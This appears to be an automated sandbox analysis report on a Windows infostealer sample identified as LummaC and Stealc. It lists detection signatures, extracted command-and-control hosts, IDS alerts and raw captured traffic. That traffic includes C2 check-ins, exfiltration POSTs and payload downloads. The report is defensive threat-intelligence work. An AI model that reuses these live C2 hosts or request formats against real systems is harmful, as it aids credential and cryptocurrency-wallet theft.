Edit tour

Windows Analysis Report
ABnDy7rLFS.exe

Overview

General Information

Sample name:	ABnDy7rLFS.exe renamed because original name is a hash value
Original sample name:	1a464ffccb48c9eb4725dff74971ca2a.exe
Analysis ID:	1579711
MD5:	1a464ffccb48c9eb4725dff74971ca2a
SHA1:	ed212c76b9d5743874da852caeb4452f0c48fc65
SHA256:	a9a38bbfef394b17980ff1026dd2e51f6a2f701bb79eeeb9d166626c1ca8a800
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ABnDy7rLFS.exe (PID: 4608 cmdline: "C:\Users\user\Desktop\ABnDy7rLFS.exe" MD5: 1A464FFCCB48C9EB4725DFF74971CA2A)

HIX4V53EFUK0JCGHMC1S24CIQ.exe (PID: 1760 cmdline: "C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

A97774QJFYJNGVVMCXLHU5PMQ02KM.exe (PID: 2984 cmdline: "C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe" MD5: 880F67C30D6C2335273B27DF0004F500)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["talkynicer.lat", "shapestickyr.lat", "slipperyloo.lat", "observerfry.lat", "curverpluch.lat", "wordyfindy.lat", "bashfulacid.lat", "manyrestro.lat", "tentabatte.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000003.1740081879.0000000004D10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1780569454.0000000000AD1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ABnDy7rLFS.exe PID: 4608	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ABnDy7rLFS.exe PID: 4608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ABnDy7rLFS.exe PID: 4608	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe PID: 2984	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: A97774QJFYJNGVVMCXLHU5PMQ02KM.exe PID: 2984	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:14.643956+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	104.21.36.201	443	TCP
2024-12-23T07:52:16.756889+0100	2028371	3	Unknown Traffic	192.168.2.9	49708	104.21.36.201	443	TCP
2024-12-23T07:52:19.271012+0100	2028371	3	Unknown Traffic	192.168.2.9	49709	104.21.36.201	443	TCP
2024-12-23T07:52:21.639850+0100	2028371	3	Unknown Traffic	192.168.2.9	49710	104.21.36.201	443	TCP
2024-12-23T07:52:23.928993+0100	2028371	3	Unknown Traffic	192.168.2.9	49711	104.21.36.201	443	TCP
2024-12-23T07:52:26.413170+0100	2028371	3	Unknown Traffic	192.168.2.9	49712	104.21.36.201	443	TCP
2024-12-23T07:52:31.927078+0100	2028371	3	Unknown Traffic	192.168.2.9	49714	104.21.36.201	443	TCP
2024-12-23T07:52:35.704387+0100	2028371	3	Unknown Traffic	192.168.2.9	49715	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:15.528424+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49707	104.21.36.201	443	TCP
2024-12-23T07:52:17.534435+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49708	104.21.36.201	443	TCP
2024-12-23T07:52:36.487082+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49715	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:15.528424+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49707	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:17.534435+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49708	104.21.36.201	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:37.973800+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49716	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:30.226419+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49712	104.21.36.201	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:52:52.421181+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49717	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ABnDy7rLFS.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000002.1782421150.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: ABnDy7rLFS.exe.4608.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["talkynicer.lat", "shapestickyr.lat", "slipperyloo.lat", "observerfry.lat", "curverpluch.lat", "wordyfindy.lat", "bashfulacid.lat", "manyrestro.lat", "tentabatte.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: ABnDy7rLFS.exe	Virustotal: Detection: 54%			Perma Link
Source: ABnDy7rLFS.exe	ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HIX4V53EFUK0JCGHMC1S24CIQ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A97774QJFYJNGVVMCXLHU5PMQ02KM.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ABnDy7rLFS.exe

Joe Sandbox ML: detected

Source: ABnDy7rLFS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.9:49715 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: HIX4V53EFUK0JCGHMC1S24CIQ.exe, 00000003.00000002.1828784279.0000000000092000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\Desktop\ABnDy7rLFS.exe

Directory queried: number of queries: 1001

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49717 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49712 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49715 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: tentabatte.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:52:37 GMTContent-Type: application/octet-streamContent-Length: 2845696Last-Modified: Mon, 23 Dec 2024 06:14:51 GMTConnection: keep-aliveETag: "6768ffdb-2b6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6e 72 78 65 63 62 76 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6e 61 79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:52:42 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 06:16:47 GMTConnection: keep-aliveETag: "6769004f-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 a0 28 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 77 71 75 66 6e 73 6b 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 75 74 6a 71 6a 71 6e 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECAAEHCFIEBGCBGHIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 44 45 36 37 38 44 39 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 41 41 45 48 43 46 49 45 42 47 43 42 47 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="hwid"D09DE678D9D72284582127------JJECAAEHCFIEBGCBGHIEContent-Disposition: form-data; name="build"stok------JJECAAEHCFIEBGCBGHIE--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49712 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49709 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49711 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49710 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49714 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49715 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49716 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MY18BOS1P1XTRQDEHOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12845Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6FGQ4HLDIAXJ1LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15039Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8D9EM9ORU4VPV8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20555Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4MDXT93FX8TOJW5TBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1211Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PPU8R22IBPT4YZVPN6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587589Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: observerfry.lat
